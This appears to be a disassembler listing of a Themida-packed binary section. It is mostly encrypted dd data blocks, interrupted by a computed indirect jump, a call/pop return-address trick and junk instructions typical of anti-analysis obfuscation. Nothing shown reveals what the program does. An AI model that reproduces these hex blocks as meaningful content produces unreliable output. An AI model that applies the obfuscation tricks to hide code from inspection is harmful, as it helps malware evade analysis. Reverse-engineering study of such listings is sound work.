		dd 28BF19F9h, 0DEA7E4C4h, 7706F05Dh, 634F3BD2h,	0F9D4C7A6h
		dd 266FD19h, 0FC15E5B9h, 3116A5C7h, 0FA01F574h,	0C837E219h
		dd 9E82E8C7h, 0E6F541h,	21170000h, 0B3A08563h, 773419D7h
		dd 1228B96Dh, 8773710Fh, 6FFEFA9Ah, 5997F5E2h, 55B4E674h
		dd 0CD92AC69h, 463219F9h, 0F9CDE489h, 5C49E019h, 3F2BC23Eh
		dd 0D3B83052h, 3420AD3Ch, 0F7109FD0h, 25B477CFh, 1A06EB97h
		dd 0CE30AB5Dh, 96821921h, 230FE9A9h, 30F37A37h,	3AD121CEh
		dd 46321EABh, 0BF57C7E2h, 0BE7B8796h, 21CDC1AFh, 13A3B115h
		dd 9DB2E07Bh, 105D1A06h, 0B421CDFDh, 0E1A18E1Dh, 987B5307h
		dd 785DFEBEh, 8D400h, 3CA4DA00h, 2AC6C2AFh, 19D7B09Dh
		dd 2E09F8Ch, 0EE0A8875h, 0B5F7A661h, 0A18E1BD5h, 8E7B08E6h
		dd 7966F30Dh, 0AE50DD1Bh, 0E26805C2h, 745C19FFh, 2CBE2296h
		dd 59FA0A68h, 6FDE8F4Ch, 4FE61229h, 5E3C29B8h, 682815A2h
		dd 0B79C5436h, 97553320h, 23877300h, 0D6D168F1h, 0EEC7BD6h
		dd 522F6321h, 2B18FD94h, 74028F6Dh, 3AF7E306h, 19FFE058h
		dd 0F17C3925h, 0D319FFDFh, 9A1E026Fh, 9E354E8Eh, 0E7D36A0Fh
		dd 1B520FFBh, 0A91A007Ch, 8D632512h, 958211A8h,	0AE0A3F7h
		dd 6AF78E25h, 0F6F0917Eh, 7C53AA67h, 1D881A00h,	838C69F6h
		dd 3A26CBB7h, 24B34D4Dh, 0ADA37B38h, 8A2121D1h,	78F5B29Eh
		dd 4C21D1ADh, 4C126B5h,	0B59AA526h, 0CF296A57h,	21C0B240h
		dd 84F9D135h, 4DB14F4Ch, 1654FBCh, 0C0C02C04h, 4C38C732h
		dd 6B8F0B8Fh, 8572BDh, 23BA5FEEh, 1FC2B03Eh, 3B5A4733h
		dd 0E7CC2A67h, 3DD4B950h, 28B73550h, 4035E86Bh,	5945DCC5h
		dd 43D02C6Ch, 6BA3656h,	420C51C2h, 0B285FDE2h, 0B8000007h
		dd 0A08D1AC6h, 8E7B08E4h, 7D6AF709h, 6653E01Eh,	843FCC24h
		dd 0F9F79319h, 0E6047F6Ch, 0D12F6C59h, 0BB395744h, 0E3A08C2Eh
		dd 19FFE38Ah, 8074523Ah, 4603EF12h, 19FFE04Ch, 91F5E178h
		dd 0D8BE18E6h, 503CCBBEh, 0B9762163h, 1A0008B4h, 55E27910h
		dd 0E4D02C68h, 0CE5D9BF7h, 609CFCE9h, 0CC84B6ACh, 0D54D32F6h
		dd 749h, 24B12F4Fh, 129F5D37h, 18E6025h, 0EA777514h, 0D6639DFDh
		dd 682A821Bh, 73160390h, 8603F07Dh, 0AEEEDB68h,	3723C552h
		dd 0FFE3F37Ah, 0BE9D119h, 3EF1280h, 0B5135A17h,	1AB11228h
		dd 4FB39F8Bh, 7655CE7Dh, 0CF8C1B4Ah, 1A008AC3h,	927E6A01h
		dd 67D16F2Eh, 0C150AD0Bh, 0A0E2B4D4h, 68CC6348h, 5F2AA98h
		dd 0EBD76E8Ah, 0D52B42FFh, 25DA19FFh, 9EB5916Eh, 3522B95Eh
		dd 810E9D53h, 0CE8A895h, 73019027h, 38F5E100h, 1A006A41h
		dd 1300EC83h, 0FB927775h, 6A1B520Fh, 12A91A00h,	0C6B29E83h
		dd 803DBBD9h, 1A0069EDh, 0F4B140D7h, 1A006976h,	4647B661h
		dd 41A4E769h, 5E74h, 15809600h,	591602EEh, 1228B514h, 9E8A19B0h
		dd 28C6C5B2h, 0B495DC99h, 84E81228h, 0C36B316Bh, 6C11A0CAh
		dd 0E5037Fh, 95165714h,	17AE1229h, 4704E980h, 12299522h
		dd 9A1B0AB5h, 39CE1215h, 0A1FA4BAFh, 71D5CADAh,	110FE2h
		dd 37230000h, 28E4F37Ah, 0AB3AD112h, 1E996CDh, 22B80000h
		dd 0D9C5235h, 2959DD30h, 0EC53EFBh, 29901C51h, 0AD11A812h
		dd 760D9454h, 2651CD8Ah, 0F7319FAh, 0F3E9FF11h,	0AC11A8ECh
		dd 38B6D3C0h, 0CC246653h, 2AB950E7h, 0A48A566Dh, 0F41585C9h
		dd 924F4B08h, 412ED175h, 761BAA44h, 210EFADFh, 9A08563h
		dd 5BBEEC7Ah, 38A1B26Fh, 8C23D94Ah, 0CCC7B4A0h,	0A940BCD8h
		dd 0B19E2DC4h, 9B8815D3h, 1D4BFFFDh, 83363A54h,	5B3269Eh
		dd 0C5B90000h, 0E7A18E1Bh, 0F68F7C09h, 1F7E6BF8h, 2B6754E1h
		dd 188540CDh, 6DFAF694h, 5AE70580h, 45D22C6Dh, 2FBC3858h
		dd 89E4A18Dh, 3B19FFE5h, 63217553h, 6012A085h, 0D6D89581h
		dd 0EE19F9D1h, 0BFDDCA57h, 0CD698D41h, 563BF6CAh, 564DEh
		dd 0CC346A00h, 0BA36523Fh, 0A947402Dh, 92502F1Ch, 7E7A1805h
		dd 456736F1h, 311EAB45h, 1E0B9856h, 9F6837Dh, 3EE06D8Bh
		dd 0E5D89552h, 4EC19FFh, 85632126h, 7DF0AD99h, 471228B4h
		dd 503C21B0h, 0E1C62463h, 0CECEBB4Ah, 22604D32h, 97F4E1C6h
		dd 0F0DD7459h, 29440192h, 9B1228B5h, 0DF886D04h, 18A4C534h
		dd 987BE6Dh, 0C8E75EEBh, 1539CD31h, 46h, 0EF128037h, 7A761603h
		dd 2613FFEBh, 41FE8D63h, 19F9D759h, 0A05E3724h,	12C024BBh
		dd 0A33B2CDAh, 1DB459E8h, 8EEE7B38h, 3EE919FAh,	0B9F559CFh
		dd 6191DBAh, 0EBC43BCAh, 0D9419EF2h, 0C554A8ECh, 66F2h
		dd 0BE221400h, 650C2E2Ah, 1DAB3AC0h, 0B3A08C6Dh, 9D8918D6h
		dd 0D4C7C4B1h, 29935617h, 40D76E12h, 7835C45Bh,	19FADFFBh
		dd 5A4632C9h, 0ECD12F6Dh, 0BFD9C655h, 73F7B441h, 0A19FADFh
		dd 50B876A6h, 3195E9EEh, 4B147E38h, 7C69F8A2h, 0E783131Ch
		dd 0ACB4E763h, 0F99B8815h, 8B0DAB36h, 0DA71102Ch, 4477DF5h
		dd 809F0000h, 1603EF12h, 1987D73h, 0B9C98672h, 0C419F9C5h
		dd 0C6521BD8h, 0DB7219F9h, 2B10A74Ch, 0BDA25E3Eh, 1F77A651h
		dd 0E5A28E73h, 21CAD69Dh, 16039027h, 7957A76h, 2F63209Bh
		dd 18FD9452h, 0B25890B4h, 2CC3B8D8h, 66ECA995h,	5E299CB5h
		dd 8E39E2C7h, 0CE8A89Fh, 6081F17Fh, 0FF9B8874h,	73301C01h
		dd 299CB5FAh, 0D9C33CAh, 6DE82A50h, 0EEAD9A31h,	0A7947910h
		dd 321F0BE9h, 250A9957h, 4B4A5C38h, 443116ADh, 0D6C2A745h
		dd 6DE85419h, 90D97031h, 0AC5536E5h, 87A1201h, 3A40FDE9h
		dd 43393F1Ah, 2AB93756h, 7461EE85h, 7F3D814h, 9C817F1Ah
		dd 9897605h, 7B1D0AEFh,	19FA7330h, 33CA393Fh, 0CDCAB79Ch
		dd 0CAB74E33h, 5E4B30C8h, 47DEC33Dh, 0C3A453FEh, 0C67DAC57h
		dd 0F9D2AC6h, 0D5927E63h, 4110487Dh, 0DECBB047h, 0B45D42BEh
		dd 37241A09h, 1FB69B59h, 71900290h, 0ECAC9985h,	5942B10h
		dd 0E1780A48h, 9623BA48h, 280DEBA9h, 129F5D3Bh,	0FA9D1684h
		dd 807E1704h, 2E40FDE9h, 9650B2ACh, 6A2713FFh, 50B2AC03h
		dd 0B69B2AC1h, 0A77866CAh, 593EB0D5h, 3A7B5EC2h, 8E5716D3h
		dd 0D66D50B2h, 76F3B03Fh, 650B28Dh, 24886D83h, 0EA015E01h
		dd 0C6C2AFE4h, 5237B5D4h, 963F24BBh, 0C95B3CEBh
		dd 5391F0DDh, 0A9EA19C4h, 78565206h, 2FD7h, 1280F900h
		dd 6C4603EFh, 1119F9DDh, 0FA896724h, 0EDD9BE55h, 0DE294401h
		dd 49B19F9h, 0DDB1B875h, 7B2619F9h, 5EA40B8Ch, 0FA39419Eh
		dd 5B000000h, 99573522h, 2C11EFACh, 7B190695h, 0EFAB987Dh
		dd 58382511h, 3B280D9Ch, 0CDBA9F5Dh, 0E7A431CFh, 1228B8FDh
		dd 56E3017Fh, 0E6187D6Ah, 0EEDB6A01h, 816D52AEh, 14F9F794h
		dd 3260EE7Dh, 0BF7E3CFh, 28B91F4Eh, 0FCB9A512h,	1228B871h
		dd 0C125BC53h, 0B8428F0Ah, 17D46398h, 19FACE63h, 0AF3DCA61h
		dd 389351C3h, 7B958CEBh, 0B54CE319h, 0C5740CC9h, 635021CEh
		dd 4CE3C826h, 0BEDCC9B5h, 0C63D30EDh, 238721CEh, 667D5F85h
		dd 0ED841BD7h, 0D9177360h, 0BDFE1B25h, 6CE4C9FEh, 209h
		dd 0E4716F0Fh, 0D25F9DF7h, 0C14EA0E5h, 0AA37B5D4h, 9623DDBDh
		dd 0A8EAC2DBh, 0B3D6C350h, 0C6C3B03Dh, 0EEAE9B28h, 0F7E38512h
		dd 0FFEA333Ah, 0CBA99119h, 9A543522h, 0A28F1EB5h, 8F7B08E0h
		dd 54EB7C2Bh, 834097EEh, 122961EAh, 1DAC43DAh, 5CC75030h
		dd 0AE4B748Dh, 2814A138h, 15A45A3Bh, 0EF128037h, 0C72B1703h
		dd 53B4A79Ch, 0EA83405Bh, 0DA12296Dh, 6F54AAEDh, 0F5B241D8h
		dd 19FA95BDh, 5617D4C0h, 6E19FA96h, 0B6A348D7h,	9E351AD6h
		dd 4652207h, 0D319FA96h, 0F7B8F928h, 0E6419F16h, 0C3h
		dd 85632108h, 19D7B3A0h, 0B96D7734h, 710F1228h,	9BF9E673h
		dd 0B8EA785Dh, 0CAB06D59h, 0FA19F9D9h, 5A48D663h, 22DFCBB7h
		dd 19F9DA4Bh, 0B0955331h, 0B877419h, 0DA7108EDh, 7FA25F4Bh
		dd 0FE21CDB8h, 31D4DC9Ah, 1CB39856h, 0D5216B8h,	0AFECD97Eh
		dd 7B609EFBh, 0CAB64DE4h, 0B643BDDDh, 0EEBADDCAh, 0D7BC53ADh
		dd 6B50A8EAh, 0C1AE3DD4h, 677327C1h, 41FEBE68h,	0EFE45Ch
		dd 89F50000h, 0BBDDCA57h, 0CACBB845h, 0DBBAA734h, 0E7A3901Dh
		dd 0DCC17C09h, 0B13EBAD8h, 9E2BC1C4h, 8916D0B1h, 7300FC9Ch
		dd 4528E5D1h, 7F19FFEBh, 3522B997h, 0F0AD9957h,	1228B47Dh
		dd 3421B047h, 0A9474456h, 0F8988512h, 21916FFCh, 0B3A08563h
		dd 3E2B17D5h, 0D0BCA15Fh, 28B55A13h, 3CD36A12h,	28B7354Fh
		dd 269D0D9Bh, 13AA8F61h, 0A68B6526h, 0CF8C780Fh, 19FFDFBFh
		dd 5815D2BEh, 6C19FFE0h, 6BE66308h, 3FD67289h, 8F740BB0h
		dd 7906E2A2h, 0BF00C8Ch, 978C384Eh, 0AB414426h,	3DBBD9C6h
		dd 0B5640F58h, 4EBD68D4h, 3E2FECD8h, 8626978Ch,	157360EFh
		dd 3F5D4AD7h, 90EFDCC1h, 1A796652h, 0BF684DDCh,	6E2EE514h
		dd 78180592h, 1E1F977Ch, 33000000h, 0D8D080CFh,	443F53EEh
		dd 932AC1A6h, 36222604h, 28B4F479h, 0A7E3D012h,	0D723B249h
		dd 837D21F9h, 15D3B19Eh, 0A8464330h, 3DB3D6C3h,	0D12F6B58h
		dd 6583FFECh, 0F6F49380h, 8D632411h, 23D9BBA8h,	54506F3Eh
		dd 40558h, 0E8830000h, 24048704h, 0E689565Ch, 4C681h, 0EE810000h
		dd 4, 5C243487h, 81241C89h, 4ECh, 240C8900h, 0D72C2468h
		dd 8B545B07h, 0C483240Ch, 95E6804h, 1C890000h, 8418F24h
		dd 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	1C8B5C24h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 0FA46CFE9h, 0A04C69FFh
; ---------------------------------------------------------------------------
		fdivr	st(1), st
		retn
; ---------------------------------------------------------------------------


loc_5E9DF7:				; CODE XREF: Themida_:loc_5E920Dj
		mov	eax, 7D73740h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 25CBD277h, 36FCD6E8h, 6CB1FB0Ah, 770D5146h, 3B0DF2B9h
		dd 4A6F6BAFh, 744026C0h, 391DACD5h, 62E0EC74h, 1ABEF9ECh
		dd 4088BEC3h, 2CD35FFDh, 37AB6575h, 6DB0126Ah, 38AF9BACh
		dd 5FCB76h, 284DD209h, 80D2793h, 0DD7485Ah, 41E89790h
		dd 2480AC45h, 149DD43Ch, 721B8BE6h, 1F2B5E75h, 80B5D25h
		dd 2647BF3h, 1B92291Bh,	57EE4FE5h, 0D9EDB13h, 6EE0B220h
		dd 3BEAD24Bh, 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 0D73840B5h, 15858B07h, 8B07D117h
		dd 0D12C4585h, 8AB58D07h, 8D07D738h, 0D47D2185h, 0C3D0FF07h
		dd 0E855h, 815D0000h, 0D73890EDh, 15BD8307h, 107D117h
		dd 2C850Fh, 0B5FF0000h,	7D73840h, 2C45858Bh, 363507D1h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 3844B58Dh, 0FF5607D7h, 0D73840B5h
		dd 45858B07h, 3507D12Ch, 34812736h, 0C483D0FFh,	44B58D0Ch
		dd 8B07D738h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 7D11715h, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 3869858Dh, 858907D7h, 7D115C1h
		dd 39CF8D8Dh, 6A07D7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 63606AC3h, 0D570B66Ch, 0E9958964h
		dd 8907D120h, 0D11B518Dh, 0F9B58907h, 6007D127h, 4CCE8166h
		dd 0C761F9BBh, 0D12D5585h, 5A8807h, 0E9858B00h,	0C707D108h
		dd 0D11D3985h, 7, 75852900h, 0FF07D118h, 0D11AD1B5h, 0B74BB007h
		dd 195FF25h, 6A07D118h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 4C7BC351h, 37EDE2DAh
		dd 6AA052h, 5595FFh, 0C08B07D1h, 9AFD2FEBh, 1F465872h
		dd 5FE20C1Ch, 74FEC470h, 0C52E477Fh, 0C413C97Ch, 21BBA73h
		dd 0F5B5073Bh, 0E3673F83h, 0D834125Bh, 2B7F681Bh, 4766FC6Bh
		dd 8E89Fh, 426F0000h, 753589AEh, 58FC9232h, 2C418589h
		dd 0C08107D1h, 5A01h, 91DBBA66h, 164CB9h, 9950100h, 0FF07D122h
		dd 41958930h, 5B07D131h, 0C9EE8166h, 92C3813Fh,	0E82F347Dh
		dd 14h,	9D937A80h, 0BDC2367Fh, 907BF05h, 0DBC794F2h, 0F80F0C17h
		dd 22199589h, 815F07D1h, 7B3B94EBh, 5870F70h, 66000000h
		dd 0AF96F681h, 5227F381h, 4BBA3447h, 89483195h,	23C28118h
		dd 81529202h, 0A85C5FE8h, 0C99D0167h, 8107D113h, 0A85C5BC0h
		dd 83D18B67h, 850F01E9h, 23h, 5840Fh, 0C7BE0000h, 0E924C80Ah
		dd 2Bh,	57D7D639h, 916F9890h, 55937217h, 26F904B4h, 80208993h
		dd 60E985E6h, 35FFFFFFh, 3FBC8B0Fh, 55E30926h, 0C59C4DC4h
		dd 8D61C232h, 0D73BB68Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 67024F2Eh
		dd 31A2A2BAh, 518D8932h, 6A07D11Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 18BC357h
		dd 0D12905B5h, 0C0816607h, 85C7166Eh, 7D12D55h,	6730h
		dd 29CD8531h, 85C707D1h, 7D11D39h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5EA197
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EA197	proc near		; CODE XREF: Themida_:005EA18Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5EA197	endp

; ---------------------------------------------------------------------------
		db 0ACh
		dd 40E29F95h, 0FEEE5FCh, 8166DFB7h, 0FFD2BEF2h,	0D10049B5h
		dd 8B665107h, 95FF5FDAh, 7D11801h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 9AC35646h, 0E381668Ah, 0C0807D0Fh
		dd 0FF006A81h, 0D1005595h, 0EBC08B07h, 0B03B651Fh, 2F2D74Bh
		dd 5FEAB1ECh, 3D88C08h,	4F245543h, 1A9B1498h, 240431F1h
		dd 0E42DC31Ch, 12E9h, 7E041600h, 55000009h, 2, 0
		dd 0E9000000h, 0BE4h, 0D73D5468h, 1CF1E907h, 6A68FFFBh
		dd 0E907D73Eh, 0FFFB1CE7h, 0D7402F68h, 1CDDE907h, 0E668FFFBh
		dd 0E907D740h, 0FFFB1CD3h, 0D741B768h, 1CC9E907h, 5A68FFFBh
		dd 0E907D743h, 0FFFB1CBFh, 0D7441068h, 1CB5E907h, 4668FFFBh
		dd 0E907D745h, 0FFFB1CABh, 0D7465C68h, 1CA1E907h, 0D5DEFFFBh
		dd 87280855h, 406E4E9Bh, 0F9B393E0h, 0BCF6D623h, 0B36C1F6Ch
		dd 0B401278Bh, 0FC49DDD4h, 408D911Ch, 87D45060h, 39169521h
		dd 8D72240Dh, 822E5CBDh, 5F5131A2h, 8EA378C5h, 2C3D8713h
		dd 8222DBDBh, 0DD6F60DFh, 4FDF75F3h, 0E766F2BFh, 7222E9E7h
		dd 0FB298767h, 1F90961Bh, 0F8EFF8Fh, 7222E93Ah,	3E86C927h
		dd 0B028C41Eh, 27A7h, 30394600h, 45D806EFh, 0F585772Ch
		dd 7A8EA69h, 8C1C7222h,	7B79C1Bh, 56B47222h, 6AABCB13h
		dd 0D034B029h, 0D3000000h, 31A2822Eh, 56C76151h, 79EA3A76h
		dd 810D1799h, 491610A1h, 35997DFCh, 0DED275F3h,	9719F946h
		dd 22471C8Dh, 49D94767h, 45E731BDh, 0C42B44F7h,	0C638B784h
		dd 8672224Bh, 0D31DA9F6h, 0E869BDEAh, 6F441193h, 0C753DF7Ah
		dd 0EB5CCAE7h, 8A0F8E5Bh, 3A75F1B6h, 743E1EAAh,	63D44864h
		dd 16F643D3h, 0B6E58C9Ch, 0E1D060CFh, 9E80C70h,	0D9DA0000h
		dd 8B240451h, 446A4A97h, 0FDAF8FDCh, 0C0F2D21Fh, 0B7681B68h
		dd 0B0FD2B87h, 0F845E1D0h, 3C899518h, 83D0545Ch, 3D12911Dh
		dd 9172240Ch, 0A28260C1h, 15A1120Ah, 0F331B996h, 0ED7D0D75h
		dd 0BA724020h, 0DAA79B70h, 0A896052h, 75F327C5h, 1C69F989h
		dd 63B0743Ch, 83CC4BD7h, 4375F327h, 3985E6B3h, 9E1DA930h
		dd 722219FCh, 6F8C0650h, 0DED14FDh, 0E665F17Dh,	7222B0E9h
		dd 8F00CD5Dh, 22B03B10h, 0BC9C2872h, 66431F5h, 1A9373C3h
		dd 93B33704h, 1CB0291Fh, 0E6h, 0AA282BBh, 2619C812h, 3CE103E8h
		dd 3218F6Fh, 0AB3F2D77h, 0EDE5560Ah, 4323AF20h,	0B848B96Fh
		dd 81A70BEBh, 0CE759110h, 0F2D275F3h, 0B79764BCh, 0BF9F2BF9h
		dd 15622FEDh, 54597B35h, 5AEA327Ah, 6F8459CAh, 0CE5479F8h
		dd 68F875F3h, 51CD4CD8h, 0F57222DDh, 2E431865h,	3CA827B3h
		dd 9075F103h, 1E947400h, 0E9E7E0Ah, 400D9D0Eh, 899F13F3h
		dd 6128E1E2h, 0BF2394D0h, 8D2h,	0EE3BEFC4h, 3481A10Eh
		dd 79C65A54h, 0BC091399h, 552D6DCh, 4171AD52h, 0F7BA9AE7h
		dd 0AB02E22Fh, 6A462673h, 7B076DBAh, 240FD3FCh,	42A37372h
		dd 5677F682h, 0F675F331h, 0FB2B8666h, 4D2DFA8Ah, 0AB37C365h
		dd 31AFA01Fh, 8F1F75F3h, 0F3313F10h, 0C4098875h, 8875F331h
		dd 68E773F8h, 75F33167h, 0FAC757E7h, 41E3CDADh,	0A28293F4h
		dd 14A4150Dh, 31C40988h, 0F88875F3h, 0BF654B2Bh, 0B736C24Eh
		dd 75F33196h, 0AF5CA636h, 517A9613h, 347C5C29h,	0A5CEA3F0h
		dd 0CF5FBFEEh, 6703F943h, 80CAA37Eh, 0F9B27B3h,	0F35EBF90h
		dd 832F0F75h, 14A434A5h, 706AC847h, 0FADA7222h,	0DAF372B6h
		dd 6A722270h, 49D94ADAh, 634D2DB9h, 0A383F4C1h,	3ECA170Dh
		dd 61D2525Eh, 8C2404D1h, 2FF3BC9Ch, 22709FB0h, 0BF9F2F72h
		dd 2FBF30EEh, 0BBAF2E9Fh, 0BAF56453h, 3B75195Ch, 0F4BC9CE9h
		dd 0E8C4A430h, 6633C334h, 535C76F5h, 66C4F564h,	0A3317F23h
		dd 36831309h, 59CA5A56h, 9BAC0CDAh, 0D215730Ah,	55A2822Eh
		dd 78E93B75h, 87138EA3h, 4A846E08h, 14EDE0Dh, 109C072Ch
		dd 5479F884h, 0F80D4A84h, 221C9B68h, 9B0A9B93h,	0BDE3C251h
		dd 0E0AD07F4h, 0DB5ACB5Bh, 0A9BDFF7h, 268868F4h, 2CF989FAh
		dd 23438BCEh, 0AC3891AEh, 46Eh,	38159420h, 8C0A9BC7h, 28A4B2FCh
		dd 0AB97765Dh, 0BE8F7DDEh, 1475F331h, 75F3213Fh, 0F3225495h
		dd 22D5FE75h, 0E67275F3h, 0F3226667h, 8956E675h, 9824BFB4h
		dd 602DF9B8h, 3B955D4h,	0BC067222h, 0D3864DDFh,	0E8E5647Dh
		dd 5C722221h, 0EA6F3CCCh, 4AA8B35Ah, 0FE6FC892h, 70D9Ah
		dd 76B4FF00h, 0BC664929h, 11F8F6Fh, 44D8D4B4h, 8D9B17F7h
		dd 0AC908D40h, 0F5D52206h, 3D1D6ABCh, 8161AE70h, 42A8F52Fh
		dd 711637B6h, 0E6B67224h, 4388285h, 0B80F01E8h,	0D229296Ah
		dd 0D1686A88h, 0F465BFF1h, 0F9B79764h, 0CCE5BA2Bh, 576A805h
		dd 0DA59E575h, 72247112h, 1AD522B2h, 17F2F73Fh,	6FFB8B99h
		dd 0F5406EF0h, 0CC4BD775h, 75F54083h, 61E6B343h, 0ECA423D1h
		dd 10DA947Ch, 68F4801Bh, 947CE4E9h, 81A30DDAh, 91951CFCh
		dd 33009020h, 6D3228A7h, 292DD45h, 2CB7BC91h, 562921A0h
		dd 0D9DDA94h, 150FA181h, 5CC8E8C8h, 0FBF3A8B5h,	9E027320h
		dd 656h, 72BF6B48h, 0B8051D92h,	0FD4AD6D8h, 408D8F1Dh
		dd 89D65260h, 0BDF529D6h, 733E1E6Bh, 278666B3h,	0E6CAAAF7h
		dd 0FF8BF13Eh, 24714F80h, 0CE2FFF72h, 1DA93039h, 221F5C9Eh
		dd 0EF60F072h, 887A10Fh, 72221FC7h, 2B9C802Ch, 0F686169Bh
		dd 1709A585h, 38E8C6A6h, 75B816C7h, 0AAED4B21h,	0F5811811h
		dd 715EDD69h, 0D572221Fh, 0F96ABCF5h, 8D0CD969h, 75F331ADh
		dd 0B36D4121h, 274D9723h, 0FE06E206h, 0A423703Dh, 75F381AFh
		dd 0F3812825h, 0BC274C75h, 0C8605030h, 0F3810449h, 0A838C875h
		dd 4EDAA737h, 24BA19CFh, 0AC1DAD72h, 4682D620h,	0D15368F7h
		dd 144B8504h, 37017224h, 3C8DDBEBh, 46DAF674h, 0FA94418Fh
		dd 74ACC36Ah, 0FA6BD83Ah, 58596h, 0EE3C7700h, 34EEC1A1h
		dd 79A707E7h, 0BC604C2Ch, 5238F6Fh, 241805B8h, 6D4D9A8Eh
		dd 0B595E244h, 0F9D926F8h, 0BA206DB7h, 709EAF2Eh, 5E2E7224h
		dd 0A93039FDh, 0A569E1Dh, 66F67224h, 899B15F5h,	0DB46673Ch
		dd 0FE268A6Ah, 45DFD1B1h, 4A6848D4h, 10DD6DDEh,	5EA88030h
		dd 5C3E864Bh, 748C799h,	0C77224C5h, 0D11BA737h,	0F25115D6h
		dd 0E95A27B3h, 0F397DA38h, 961A67BDh, 0B022DA76h, 197FFh
		dd 30399E00h, 189E1DA9h, 0A5722219h, 0C03FEDC5h, 7222198Fh
		dd 521FAF3Fh, 4DCC3DCDh, 72221906h, 0A9F93C9Ah,	7F26005Fh
		dd 9B68B8CFh, 0AA36ADC6h, 0F3C28B2Bh, 5EAB3B75h, 81F2327Eh
		dd 0C8150FA1h, 0D763FEF3h, 22F67658h, 0C0EFCF72h, 30109562h
		dd 9F10A07Ch, 22F62B20h, 97DA3872h, 28D52F4Fh, 53B8B0h
		dd 82570000h, 6E376F38h, 6343CDC0h, 0D666D74Dh,	0A43F3409h
		dd 0F9F99918h, 0C14D7222h, 3D573E77h, 0AE2D2A74h, 72227CA1h
		dd 0FAB59525h, 9727B728h, 3976C10Bh, 0BE270511h, 8653D3DEh
		dd 6BBD9615h, 50AE7222h, 46A5C50Dh, 5838B029h, 6A00CD59h
		dd 0CBh, 0A2822E09h, 0C7615131h, 303A7656h, 41F80CF9h
		dd 0F96AFAC9h, 12919719h, 75F36A3Dh, 24710191h,	408D0C98h
		dd 475F36Ah, 37E06BAh, 0C5558FDCh, 579D79F8h, 0DAD675F3h
		dd 0DD6DB5FAh, 0E43E7151h, 0FCF5CA17h, 6C5AD965h, 0E0722088h
		dd 0CEE4C450h, 281A50Ah, 722088CDh, 0D161F181h,	1A0EA484h
		dd 8FA18A73h, 389C0DC8h, 3E2h, 0FE4BDFD4h, 4491911Eh, 89D64A64h
		dd 0CC1903A9h, 1562C6ECh, 3181BD62h, 0E7CAAAF7h, 9B12F23Fh
		dd 5A563683h, 8B177DCAh, 2472C30Ch, 52B38372h, 5677F682h
		dd 0F675F331h, 0F9B99966h, 0E455D3DFh, 0E5397454h, 754E474h
		dd 4E9B8927h, 2BAA36C2h, 75F33122h, 0BA9312A2h,	0A75F331h
		dd 2E4CAD7Ah, 5131A282h, 0EC78C55Fh, 8CAFADA2h,	664801A7h
		dd 0FC5D2ABAh, 0F3B1BA8Fh, 0B13B1075h, 363B75F3h, 7931FABh
		dd 0F3B14788h, 0F8770775h, 75F3B1D7h, 8E1AE777h
		dd 248AD90Fh, 6CDD6D72h, 7B079297h, 0F5B88EFCh,	505E3E75h
		dd 0A69940D0h, 79D05CD1h, 32CA408h, 951E0000h, 47684895h
		dd 0AE8EDBh, 0B9F3D320h, 7C361663h, 73AC5FACh, 0F441E7CBh
		dd 3C899D14h, 80CD515Ch, 0C71410A0h, 7956D561h,	0CD722475h
		dd 822E9CFDh, 5F5131A2h, 0CEC78C5h, 0C90685A5h,	7D75F331h
		dd 0BB905DEDh, 20ED71B6h, 82A2AB2Ah, 922275F3h,	0C3AB7C48h
		dd 0EAC7A733h, 6E3BCB3Ch, 476B63E2h, 4BDB7222h,	47765BDAh
		dd 15737222h, 266A8AD2h, 36F3B029h, 67000000h, 2EFB2987h
		dd 0A93039CDh, 19FC9E1Dh, 70507222h, 0E171E23Eh, 6861E051h
		dd 79722219h, 7090D81Bh, 3B02978h, 64488E23h, 27B747B8h
		dd 0C35926B6h, 0CAh, 0A2822E62h, 0C7615131h, 0C7EACA56h
		dd 0B3C2CA5h, 0E7776BC6h, 0AE763A1Ah, 0D1535D3Dh, 37010584h
		dd 74BE75F3h, 85427143h, 91713E26h, 0E0F44B1Fh,	3C0C8393h
		dd 317F5FACh, 278767F3h, 2BF888F9h, 5CCE5BAh, 7A0A7BADh
		dd 0FBDF5EEAh, 44722270h, 510218FAh, 380584CCh,	1D623B3h
		dd 66E571E8h, 75F1EC7Ah, 0CEAE3ACAh, 86D041E1h,	0D5057D74h
		dd 11DE6E77h, 1B0DA585h, 64C4EECEh, 6150C8BDh, 7EE253D0h
		dd 1F6h, 125FCBE8h, 58A57D32h, 9DEA3678h, 0E02DEFBDh, 2976B200h
		dd 1D958976h, 0D3DEBE0Bh, 87260653h, 466A4A97h,	9F2B91DEh
		dd 24742F20h, 6ECF9F72h, 18A4842Eh, 0E6C223CEh,	734096B3h
		dd 0BA6A4626h, 0F6820C6Dh, 31E2EB6Ah, 0D26275F3h, 0F3317A53h
		dd 0F03ACA75h, 9913B756h, 0A87D4A49h, 38E4C883h, 555737C7h
		dd 36C656C7h, 703E1EAAh, 0CFAF3FB0h, 0F57441DFh, 72227595h
		dd 0ABABE832h, 844539Ah, 0B526B63Bh, 226A1D36h,	0ADF04E72h
		dd 29454565h, 0D8CEB0h,	0F8420000h, 0CF8B6FDEh,	42A370D8h
		dd 31A2822Eh, 56C76151h, 0F3353FD7h, 8A88875h, 416F4F1Ch
		dd 0FAB696E3h, 0E32DB92Ah, 53D7A660h, 0EABF8C2Bh, 4FCE5AC1h
